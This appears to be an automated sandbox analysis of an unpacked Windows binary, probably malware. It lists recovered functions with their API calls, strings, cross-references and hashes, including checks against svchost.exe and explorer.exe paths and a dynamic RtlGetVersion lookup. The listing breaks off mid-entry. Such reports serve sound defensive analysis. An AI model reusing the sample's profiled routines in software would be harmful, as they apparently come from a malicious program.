Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: 726fe5a15c6e3ed4538379076c4d21b316697b763511a6986fe77f809b4a26bb
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: 726fe5a15c6e3ed4538379076c4d21b316697b763511a6986fe77f809b4a26bb
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CEB6 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: bc44ae451ed6c7b1307a31a309ac5ea6ca7e599d641f7a3b57ce190f045905c8
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: bc44ae451ed6c7b1307a31a309ac5ea6ca7e599d641f7a3b57ce190f045905c8
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041DE00 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00005004,?,00401633,0043E040,00000000), ref: 0041DE0D
LocalAlloc.KERNEL32(00000040,00000000,?,?,00401633), ref: 0041DE37
LocalFree.KERNEL32(00000000), ref: 0041DE74
LocalFree.KERNEL32(00000000,?,?,00401633), ref: 0041DE7E

Strings

@C, xrefs: 0041DE1C, 0041DE1F

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID: @C
API String ID: 2012307162-1618053064
Opcode ID: 414ae59593def5ab2f8fc855c7d7ef84a6a16e40d3485aa113c49327277a0ced
Instruction ID: a03c80496656666fd240000d4683b53c919ffd3f4920f710f5485bbfcaab9ccc
Opcode Fuzzy Hash: 414ae59593def5ab2f8fc855c7d7ef84a6a16e40d3485aa113c49327277a0ced
Instruction Fuzzy Hash: 251133B5E00308EFCB04DFE4D849BDEB7B4EB58305F008569E6159B290D778AA84CF94

Function 0041D9C0 Relevance: 7.5, APIs: 5, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 0041D9F5
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0041DA04
CloseHandle.KERNEL32(?), ref: 0041DA11
CloseHandle.KERNEL32(?), ref: 0041DA1E
LocalFree.KERNEL32(00000000), ref: 0041DA38

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3879024238-0
Opcode ID: de0fa354a8bf079bf6eb281e5a023c9c6e82e3ce10cf06fa8df24ade5fe33fdc
Instruction ID: e8293441bbabc7d2dc90927d518e544b42cb184100bb40537d13b5f841ea70bc
Opcode Fuzzy Hash: de0fa354a8bf079bf6eb281e5a023c9c6e82e3ce10cf06fa8df24ade5fe33fdc
Instruction Fuzzy Hash: AC1106B9A04208EFCB04DF94D9889DDBBB5FF88311F248299E90997390C734AE84DB54

Function 0042A3AC Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0042A3B8

Part of subcall function 0042928E: __getptd_noexit.LIBCMT ref: 00429291
Part of subcall function 0042928E: __amsg_exit.LIBCMT ref: 0042929E

__getptd.LIBCMT ref: 0042A3CF
__amsg_exit.LIBCMT ref: 0042A3DD
__lock.LIBCMT ref: 0042A3ED
__updatetlocinfoEx_nolock.LIBCMT ref: 0042A401

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 502c2b2fb89e54d45840528a35472bab4a733277ef7d688bb02b0887a1ed57ea
Instruction ID: a1cda5e7ab9d61d3e426a8a40c7ace11dbfad44217dc764019215e7f5c78a112
Opcode Fuzzy Hash: 502c2b2fb89e54d45840528a35472bab4a733277ef7d688bb02b0887a1ed57ea
Instruction Fuzzy Hash: 0CF06232F04730DBD621BBA9B44674D73A0AF00718F91415FED04A72D2CA6C5950DAAF

Function 00422230 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00422604
ReleaseMutex.KERNEL32(00000000), ref: 0042261E
CloseHandle.KERNEL32(00000000), ref: 00422628
CloseHandle.KERNEL32(00000000), ref: 00422638
CloseHandle.KERNEL32(00000000), ref: 00422642

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$MutexRelease
String ID:
API String ID: 2279609368-0
Opcode ID: e822554bf4181ca65d3795211eddee638706090535dc2ce0247a697c814c7736
Instruction ID: 862424a588e8dd2487d3b9dfc9e4d7e86187c93c22c59aea2a38e8b2ab33fc47
Opcode Fuzzy Hash: e822554bf4181ca65d3795211eddee638706090535dc2ce0247a697c814c7736
Instruction Fuzzy Hash: E3F01275A08104FFC758CBE4F84CB9EB7B4EF89301F50D5A9E61152250CB78A588DF28

Function 00408310 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 0040C970: lstrlenW.KERNEL32(?), ref: 0040C9D6
Part of subcall function 0040C970: lstrlenW.KERNEL32(00473898), ref: 0040C9E9
Part of subcall function 0040C970: __snwprintf.LIBCMT ref: 0040CA2A
Part of subcall function 0040C970: lstrlenW.KERNEL32(00000000), ref: 0040CA36

GetLastError.KERNEL32 ref: 0040834C
__snwprintf.LIBCMT ref: 0040838E

Strings

P, xrefs: 004083D5
%s%s, xrefs: 00408380

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrlen$__snwprintf$ErrorLast
String ID: %s%s$P
API String ID: 3802810302-50959982
Opcode ID: bc1b8c293ba201357ccb913cb72a36575da1c7da07590cb66db7a39783de867e
Instruction ID: 73a450a735d616e95ec107ec45effab6a287e996992bc8ca54a5e87a77df302d
Opcode Fuzzy Hash: bc1b8c293ba201357ccb913cb72a36575da1c7da07590cb66db7a39783de867e
Instruction Fuzzy Hash: AD418C71D00209EBCB14DFE0D949BEEBB74EB48701F60463AE255B22D0DB785984CBA9

Function 00407150 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00418A30: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00414506,00436450), ref: 00418A59

__snwprintf.LIBCMT ref: 004071DD
_memset.LIBCMT ref: 004071F0

Strings

0MC, xrefs: 004071BB
D, xrefs: 004071F8

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memsetlstrlen
String ID: 0MC$D
API String ID: 2688013242-4244150477
Opcode ID: 860fff2541f56bcf47d8d26c0c537dde594f71d5a132f6b973e5a3fb64b91166
Instruction ID: 10cbdec7c9ac47424c67d3a6a1a6e2070451d315397af7c751663e227473bba2
Opcode Fuzzy Hash: 860fff2541f56bcf47d8d26c0c537dde594f71d5a132f6b973e5a3fb64b91166
Instruction Fuzzy Hash: 7331A275E44208BBDB14DBA0DC89FED7779EF48700F4001A9F209A62D0DAB95A84CB55

Function 00414490 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00418A30: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00414506,00436450), ref: 00418A59

__snwprintf.LIBCMT ref: 0041451D
_memset.LIBCMT ref: 00414530

Strings

D, xrefs: 00414538
PdC, xrefs: 004144FB

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memsetlstrlen
String ID: D$PdC
API String ID: 2688013242-3338248644
Opcode ID: fe8873d95505cb6751ff10fd3157c6c0e2ca1b70d4d3f1a1343b5945491f884f
Instruction ID: 588705de2f19d31047822466ba8bb562fba55fce3293227ce1f551950129919c
Opcode Fuzzy Hash: fe8873d95505cb6751ff10fd3157c6c0e2ca1b70d4d3f1a1343b5945491f884f
Instruction Fuzzy Hash: 77318275A40204BBDB14DBA0DC49FED7779EB48700F5041A9F709A62D0DAB99AC4CB58

Function 004237C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0000001C,00473914), ref: 00423805

Strings

%s [%d], xrefs: 004238BD

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: %s [%d]
API String ID: 3722407311-2053052012
Opcode ID: fb1d88b360f33a36618ed2c57b45f9f7639ef725057e385a61569c6b36f9ebf5
Instruction ID: 3e2ef716702ff8af2041370b3f16d71dd1bfc4ff5dee9cabf348363d4275f40d
Opcode Fuzzy Hash: fb1d88b360f33a36618ed2c57b45f9f7639ef725057e385a61569c6b36f9ebf5
Instruction Fuzzy Hash: EE3172B4E00218AFC714DFA0EC4DBAD77B5EF48305F5081E9E509A7251D7789A84CF58

Function 0040F950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82stringCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0040F9B1
lstrlenW.KERNEL32(00000000), ref: 0040F9BD
_memset.LIBCMT ref: 0040F9E7

Strings

%s\%s, xrefs: 0040F9A3

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memsetlstrlen
String ID: %s\%s
API String ID: 2688013242-4073750446
Opcode ID: f9e56d3aa41bacb30b4bc2133f7ec09a247619fcba0ec4d2fda5b0f026a56986
Instruction ID: 4184cf32529d506793041f360e4a7a16044ff04311cc4cd1caccecf4196b836d
Opcode Fuzzy Hash: f9e56d3aa41bacb30b4bc2133f7ec09a247619fcba0ec4d2fda5b0f026a56986
Instruction Fuzzy Hash: FA317C74A00208EBDB14DFE4DC49BAEB775EF88700F10857AE509A76D0D7B8A948CB59

Function 00414C84 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00414D63
CloseHandle.KERNEL32(00000000), ref: 00414DA5
CloseHandle.KERNEL32(00000000), ref: 00414E07
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00414E95

Strings

d, xrefs: 00414CD6

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeObjectSingleVirtualWait
String ID: d
API String ID: 129225811-2564639436
Opcode ID: 7bf6401253e6f631bd6c36b48544ad9e04f4c315d5b0184a5574e10b3e340590
Instruction ID: d60757e844d62c9bc84a99f973ef0d3c017041af1da156204418206e71e7bf80
Opcode Fuzzy Hash: 7bf6401253e6f631bd6c36b48544ad9e04f4c315d5b0184a5574e10b3e340590
Instruction Fuzzy Hash: A241ED31A04524CFFB28CF28C898B95B772FB90309F1482E9D01E9F296C635AD95CF55

Function 00416E4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00416EFC
CloseHandle.KERNEL32(00000000), ref: 00416F32
CloseHandle.KERNEL32(00000000), ref: 00416F82
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00416FEC

Strings

d, xrefs: 00416E8A

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeObjectSingleVirtualWait
String ID: d
API String ID: 129225811-2564639436
Opcode ID: e324f94cbf851a2910fcf3c179efc2696829d54d2965bc7dca18b93eba61898c
Instruction ID: f51066ab44949191618277d7d738a25aa9843502ef076337e26828cd42860881
Opcode Fuzzy Hash: e324f94cbf851a2910fcf3c179efc2696829d54d2965bc7dca18b93eba61898c
Instruction Fuzzy Hash: 2F317230604409CBFB1CCF98C698AAEBB72EBD030DF1542A9D0166F691C235FA95CB45

Function 00423520 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0042357B
und_memcpy.LIBCMTD ref: 004235D5

Strings

31B, xrefs: 004235A3, 004235A8
31B, xrefs: 00423544, 0042355C, 00423547, 0042355F

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: und_memcpywsprintf
String ID: 31B$31B
API String ID: 2861580878-3187735358
Opcode ID: 31ffe1f24cc8fb3647ddc14058845ad3ef99fb4cc49b8fe8ee175df2338c5ad5
Instruction ID: b4ae27ccb64861e9f20b72aa9d35f228ba202a91c8d5a22e48184958d8549bad
Opcode Fuzzy Hash: 31ffe1f24cc8fb3647ddc14058845ad3ef99fb4cc49b8fe8ee175df2338c5ad5
Instruction Fuzzy Hash: AD21B6B1B00304ABCB04DFA4EC4AF9E73B8AF44705F404439F50D9B281E678EA44CB59

Function 004088C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 00408932
__snwprintf.LIBCMT ref: 0040894E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040895E

Strings

%s\svchost.exe, xrefs: 00408940

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: DirectorySystem__snwprintflstrcmpi
String ID: %s\svchost.exe
API String ID: 2474157625-1955667316
Opcode ID: f140f3511efa23614a5a543a6e532cd2d95bbef54c98400a65d4e4f6287528cf
Instruction ID: 84f6bcce6b4092c07673cefaacb6d186facc470a59003fe25131f87b18e2032c
Opcode Fuzzy Hash: f140f3511efa23614a5a543a6e532cd2d95bbef54c98400a65d4e4f6287528cf
Instruction Fuzzy Hash: 1E21B0B4A04209FBDB04AFE0DD49FAE7779EF48701F504079F605A72D0CA389944CB59

Function 004087C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(00000000,00007FFF), ref: 00408832
__snwprintf.LIBCMT ref: 0040884E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040885E

Strings

%s\explorer.exe, xrefs: 00408840

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: DirectoryWindows__snwprintflstrcmpi
String ID: %s\explorer.exe
API String ID: 127453217-2893622748
Opcode ID: f9270bd1e24ab9dc883aea22219693d5cf2aa0688a95a53f135fea40c6b49bda
Instruction ID: 3141bf42dfe8fa5b2e51042ad20096cfb300bb1e07b48db8893e0d2f84bdf8f8
Opcode Fuzzy Hash: f9270bd1e24ab9dc883aea22219693d5cf2aa0688a95a53f135fea40c6b49bda
Instruction Fuzzy Hash: 07217C75A00208FBDB18AFE0DD49EAE7779EF48701F9080B9F605A72D0CA789944CB18

Function 00414CC7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00414D63
CloseHandle.KERNEL32(00000000), ref: 00414DA5
CloseHandle.KERNEL32(00000000), ref: 00414E07
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00414E95

Strings

d, xrefs: 00414CD6

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeObjectSingleVirtualWait
String ID: d
API String ID: 129225811-2564639436
Opcode ID: 765d9590b46e21282e323ac144b6d05c2c903fc6e7ce717fb6fd441f0889dce7
Instruction ID: 250e2fd052c42d83d58a107ee35c626be7e2054d6c92c19b6dde5c9cdca0a25a
Opcode Fuzzy Hash: 765d9590b46e21282e323ac144b6d05c2c903fc6e7ce717fb6fd441f0889dce7
Instruction Fuzzy Hash: A931C931A04424CBFB28CB28C998F95B772EB90309F1482E9D01EAB296C635AD95CF55

Function 00416E81 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00416EFC
CloseHandle.KERNEL32(00000000), ref: 00416F32
CloseHandle.KERNEL32(00000000), ref: 00416F82
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00416FEC

Strings

d, xrefs: 00416E8A

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeObjectSingleVirtualWait
String ID: d
API String ID: 129225811-2564639436
Opcode ID: 18227b46a8ccaeff8cf376f5b7dc665baa5299777fca2668b67ddfb68e98c635
Instruction ID: a2053963612c7df701548f413a23bf0d8b665a46cc1246d76edfa23e3017fdb9
Opcode Fuzzy Hash: 18227b46a8ccaeff8cf376f5b7dc665baa5299777fca2668b67ddfb68e98c635
Instruction Fuzzy Hash: 643181306044098BFB1CCF98C698ABEB772EBD030DF254269D0266F695C235FD95CB55

Function 0041466F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004146EA
CloseHandle.KERNEL32(00000000), ref: 00414707
CloseHandle.KERNEL32(00000000), ref: 00414757
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00414815

Strings

d, xrefs: 00414678

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeObjectSingleVirtualWait
String ID: d
API String ID: 129225811-2564639436
Opcode ID: eb02805e49a25159c0565fb0f213c785163c53f9db9ebd391404e31c3de044db
Instruction ID: 452fd7c3f545b44941b34f0a06ef3db5d32d18bca581c84b690aab980fb1c7e6
Opcode Fuzzy Hash: eb02805e49a25159c0565fb0f213c785163c53f9db9ebd391404e31c3de044db
Instruction Fuzzy Hash: EC312A31A04404DBFB18CF98C698AADBB72EBD030DF1442ADD0266F295C635EA95CB44

Function 0041407E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_wcscat.LIBCMT ref: 004140C2
__snwprintf.LIBCMT ref: 00414104
_wcscat.LIBCMT ref: 0041411A

Strings

'%s', xrefs: 004140F3

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _wcscat$__snwprintf
String ID: '%s'
API String ID: 4289553879-2201965518
Opcode ID: a20dd1b1dfba752180f8dd49261f106a7bb5618e1af8ed39c63cb2ecfb0330d7
Instruction ID: 33df056c0529464a2baafdcece2817d9c0c4b0809bae14ddce2661c75d660747
Opcode Fuzzy Hash: a20dd1b1dfba752180f8dd49261f106a7bb5618e1af8ed39c63cb2ecfb0330d7
Instruction Fuzzy Hash: 17113970A4021CEBCB64DF40D889BE9B775EBA4304F20829AE5096A291C7789EC5CF95

Function 0041D170 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(NTDLL,RtlGetVersion), ref: 0041D18D
GetProcAddress.KERNEL32(00000000), ref: 0041D194

Strings

RtlGetVersion, xrefs: 0041D183
NTDLL, xrefs: 0041D188

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: NTDLL$RtlGetVersion
API String ID: 1646373207-3678323915
Opcode ID: 9354b5732965cfba0f5824ff44d8cb7257062b48f70c4c62bbb50e4734e20b80
Instruction ID: 68295a6955420c89adeaee12c2ebc351c74c000644921af01294e337443e3b95
Opcode Fuzzy Hash: 9354b5732965cfba0f5824ff44d8cb7257062b48f70c4c62bbb50e4734e20b80
Instruction Fuzzy Hash: 7BF01CB09062189BCB249F60EC4A7D8BBB4AB0C311F0011E9A94862240CB785DE48F4C

Function 0041DD70 Relevance: 6.3, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00009004), ref: 0041DD7D
LocalAlloc.KERNEL32(00000040,?), ref: 0041DD97
LocalFree.KERNEL32(00000000), ref: 0041DDCB
LocalFree.KERNEL32(00000000), ref: 0041DDE2
LocalFree.KERNEL32(00000000), ref: 0041DDEC

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc
String ID:
API String ID: 3098330729-0
Opcode ID: 448e69a00867cb3d99b80f9324dcb5b1e8482b376d9da5e8c860b9a2f77f7773
Instruction ID: b2d0350986e84b2eab800b3e685bf048c83aed6538ff149342eb06eccb43b414
Opcode Fuzzy Hash: 448e69a00867cb3d99b80f9324dcb5b1e8482b376d9da5e8c860b9a2f77f7773
Instruction Fuzzy Hash: 3811C3B5E00208EFDB04DFA4D949BDD77B4EB48305F108495FA1597390D634AA44CF58

Function 0041F280 Relevance: 6.2, APIs: 4, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 0041FCA0: LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0041FCE9

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041F4D8

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AllocFreeLocalVirtual
String ID:
API String ID: 3333721195-0
Opcode ID: a892831002fac4f28295e6e7a85bd77b40102ac80ca255da5a90b50b025db13b
Instruction ID: 15f4b76eb3a995c4f51aa39289b3a3923a2358189a1e878c7b3a25bb3c7b2905
Opcode Fuzzy Hash: a892831002fac4f28295e6e7a85bd77b40102ac80ca255da5a90b50b025db13b
Instruction Fuzzy Hash: 1D919474E00209DFCB14CF98C884AEEBBB1FF98304F24856AD815AB355D738A996CF54

Function 00402630 Relevance: 6.2, APIs: 4, Instructions: 187stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,-00476118,00000000,?,?,?,?,?), ref: 0040277C
_memset.LIBCMT ref: 004027A1
lstrcpyW.KERNEL32(?,-00476118,?,?,?,?,?,?,?), ref: 004027BF

Part of subcall function 00401C50: _wcsrchr.LIBCMT ref: 00401C5C

lstrcpyW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00402805

Part of subcall function 00402AA0: construct.LIBCPMTD ref: 00402B29

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcpy$_memset_wcsrchrconstructlstrcmpi
String ID:
API String ID: 2078099069-0
Opcode ID: c4e0003f20ac0bdd6235f8c1352beef51fc5a9158c7f5474fb38db59637b0dc0
Instruction ID: 45c4d4f9bbb270077a7a3530f78740e340acc6befb4c7b60b57660e2b99362dc
Opcode Fuzzy Hash: c4e0003f20ac0bdd6235f8c1352beef51fc5a9158c7f5474fb38db59637b0dc0
Instruction Fuzzy Hash: 038142B69002189BDB14DBA4CD89BDEB774FF58304F0085A9E11A772D1DB785A88CF68

Function 0042D313 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042D347
__isleadbyte_l.LIBCMT ref: 0042D37A
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,00000000,00000000,?,?,?,?,?,00000000), ref: 0042D3AB
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 0042D419

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 9d2230088cd871af93d1a5136c05a0a66863d2ece9912571f859f81350fc7cb1
Instruction ID: aaa7b1223996daabf0532f3b1482f085f54885d9027b65670956d2fec97621d6
Opcode Fuzzy Hash: 9d2230088cd871af93d1a5136c05a0a66863d2ece9912571f859f81350fc7cb1
Instruction Fuzzy Hash: 5131C231F00265EFDB20DF64E8849AE7BA5FF01311F94856AF8A18B291D334DD40DB9A

Function 00402744 Relevance: 6.1, APIs: 4, Instructions: 92stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,-00476118,00000000,?,?,?,?,?), ref: 0040277C
_memset.LIBCMT ref: 004027A1
lstrcpyW.KERNEL32(?,-00476118,?,?,?,?,?,?,?), ref: 004027BF

Part of subcall function 00401C50: _wcsrchr.LIBCMT ref: 00401C5C

lstrcpyW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00402805

Part of subcall function 00402AA0: construct.LIBCPMTD ref: 00402B29

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

